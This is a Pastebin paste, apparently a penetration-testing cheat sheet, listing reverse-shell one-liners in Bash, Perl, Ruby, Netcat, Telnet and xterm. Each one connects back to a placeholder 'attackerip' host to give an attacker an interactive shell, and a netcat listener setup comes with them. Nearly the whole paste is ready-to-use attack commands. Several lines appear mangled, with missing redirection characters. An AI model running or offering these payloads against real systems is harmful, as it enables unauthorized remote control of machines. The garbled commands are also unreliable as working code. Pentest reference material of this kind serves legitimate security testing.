Advertisement
johnmahugu

reverse shell one liners

Jul 6th, 2015
1,016
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. Reverse shells one-liners
  2. Inspired by the great blog post by pentestmonkey.net, I put together the following extra methods and alternatives for some methods explained in the cheat sheet. There is nothing cutting edge, however you may find this handy during your penetration tests.
  3.  
  4. Citing pentestmonkey's blog post:
  5.  
  6. If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
  7.  
  8. [...] your next step is likely to be either throwing back a reverse shell or binding a shell to a TCP port.
  9.  
  10. Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
  11.  
  12. First of all, on your machine, set up a listener, where attackerip is your IP address and 4444 is an arbitrary TCP port unfiltered by the target's firewall:
  13.  
  14. attacker$ nc -l -v attackerip 4444
  15.  
  16.  
  17. Bash
  18.  
  19. Alternatives for Bash shell:
  20.  
  21. exec /bin/bash 0&0 2>&0
  22.  
  23. Or:
  24.  
  25. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
  26.  
  27. Or:
  28.  
  29. exec 5<>/dev/tcp/attackerip/4444
  30. cat <&5 | while read line; do $line 2>&5 >&5; done # or:
  31. while read line 0<&5; do $line 2>&5 >&5; done
  32.  
  33. See also Reverse Shell With Bash from GNUCITIZEN blog.
  34.  
  35. Perl
  36.  
  37. Shorter Perl reverse shell that does not depend on /bin/sh:
  38.  
  39. perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  40.  
  41. If the target system is running Windows use the following one-liner:
  42.  
  43. perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  44.  
  45. Ruby
  46.  
  47. Longer Ruby reverse shell that does not depend on /bin/sh:
  48.  
  49. ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  50.  
  51. If the target system is running Windows use the following one-liner:
  52.  
  53. ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  54.  
  55. Netcat
  56.  
  57. Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:
  58.  
  59. nc -c /bin/sh attackerip 4444
  60.  
  61. Or:
  62.  
  63. /bin/sh | nc attackerip 4444
  64.  
  65. Or:
  66.  
  67. rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
  68.  
  69.  
  70. See also 7 Linux Shells Using Built-in Tools from LaNMaSteR53 blog.
  71.  
  72. Telnet
  73.  
  74. Of course, you can also use Telnet as an alternative for Netcat:
  75.  
  76. rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p
  77.  
  78. Or:
  79.  
  80. telnet attackerip 4444 | /bin/bash | telnet attackerip 4445 # Remember to listen on your machine also on port 4445/tcp
  81.  
  82. xterm
  83.  
  84. Follows further details on xterm reverse shell:
  85.  
  86. To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001). One way to do this is with Xnest:
  87.  
  88. Xnest :1
  89.  
  90. Then remember to authorise on your system the target IP to connect to you:
  91.  
  92. xterm -display 127.0.0.1:1 # Run this OUTSIDE the Xnest
  93. xhost +targetip # Run this INSIDE the spawned xterm on the open X Server
  94.  
  95. Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:
  96.  
  97. xterm -display attackerip:1
  98.  
  99. Or:
  100.  
  101. $ DISPLAY=attackerip:0 xterm
  102.  
  103. It will try to connect back to you, attackerip, on TCP port 6001.
  104.  
  105. Note that on Solaris xterm path is usually not within the PATH environment variable, you need to specify its filepath:
  106.  
  107. /usr/openwin/bin/xterm -display attackerip:1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement